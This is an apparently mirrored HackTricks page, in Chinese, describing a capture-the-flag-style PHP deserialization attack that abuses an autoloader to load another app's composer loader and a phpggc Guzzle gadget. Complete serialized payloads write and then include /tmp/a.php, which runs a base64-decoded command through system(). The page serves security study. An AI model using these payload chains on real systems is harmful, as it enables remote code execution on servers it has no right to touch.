mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
5.2 KiB
5.2 KiB
PHP - 反序列化 + 自动加载类
{{#include ../../banners/hacktricks-training.md}}
首先,您应该检查什么是 自动加载类。
PHP 反序列化 + spl_autoload_register + LFI/Gadget
我们处于一种情况,发现了一个 webapp 中的 PHP 反序列化,并且 没有 在 phpggc 中的库易受攻击的 gadget。然而,在同一个容器中有一个 不同的 composer webapp,里面有易受攻击的库。因此,目标是 加载另一个 webapp 的 composer 加载器 并利用它 加载一个 gadget 来利用该库中的 gadget,该库易受反序列化攻击。
步骤:
- 您发现了一个 反序列化,并且 当前应用代码中没有任何 gadget
- 您可以利用
spl_autoload_register函数,如下所示,以 加载任何本地文件,扩展名为.php - 为此,您使用一个反序列化,其中类的名称将位于
$name中。您 不能在序列化对象的类名中使用 "/" 或 ".",但是 代码 正在 将 下划线 ("_") 替换为斜杠 ("/")。因此,像tmp_passwd这样的类名将被转换为/tmp/passwd.php,代码将尝试加载它。
一个 gadget 示例 将是:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
Tip
如果你有一个 文件上传 并且可以上传一个
.php扩展名 的文件,你可以 直接利用这个功能 并获得 RCE。
在我的情况下,我没有这样的东西,但在 同一个容器 内有另一个 composer 网页,里面有一个 易受攻击的 phpggc 小工具。
- 要加载这个其他库,首先你需要 加载那个其他 web 应用的 composer 加载器(因为当前应用的加载器无法访问另一个的库)。知道应用的路径,你可以很容易地实现这一点:
O:28:"www_frontend_vendor_autoload":0:{}(在我的情况下,composer 加载器在/www/frontend/vendor/autoload.php) - 现在,你可以 加载 其他 应用的 composer 加载器,所以是时候
生成 phpgcc有效载荷 来使用。在我的情况下,我使用了Guzzle/FW1,这让我可以 在文件系统内写入任何文件。 - 注意:生成的小工具没有工作,为了让它工作,我 修改 了那个有效载荷
chain.php的 phpggc,并将 所有属性 的类 从私有改为公共。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。 - 现在我们有了 加载其他应用的 composer 加载器 的方法,并且有一个 有效的 phpggc 有效载荷,但我们需要 在同一个请求中执行此操作,以便在使用小工具时加载加载器。为此,我发送了一个序列化数组,包含两个对象,如下所示:
- 你可以看到 首先加载加载器,然后是有效载荷。
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
- 现在,我们可以创建和写入文件,但是用户无法在web服务器的任何文件夹中写入。因此,如您在有效负载中所见,PHP调用**
system并创建了一些base64在/tmp/a.php中。然后,我们可以重用我们用于LFI的第一种有效负载来加载另一个web应用程序的composer加载器以加载生成的/tmp/a.php**文件。只需将其添加到反序列化小工具中:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
有效载荷摘要
- 加载同一容器中另一个webapp的composer自动加载
- 加载phpggc小工具以滥用另一个webapp的库(最初易受反序列化攻击的webapp的库中没有任何小工具)
- 该小工具将在/tmp/a.php中创建一个包含PHP有效载荷的文件,文件中包含恶意命令(webapp用户无法在任何webapp的任何文件夹中写入)
- 我们有效载荷的最后部分将使用加载生成的php文件来执行命令
我需要调用这个反序列化两次。在我的测试中,第一次创建了/tmp/a.php文件但未加载,第二次则正确加载。
{{#include ../../banners/hacktricks-training.md}}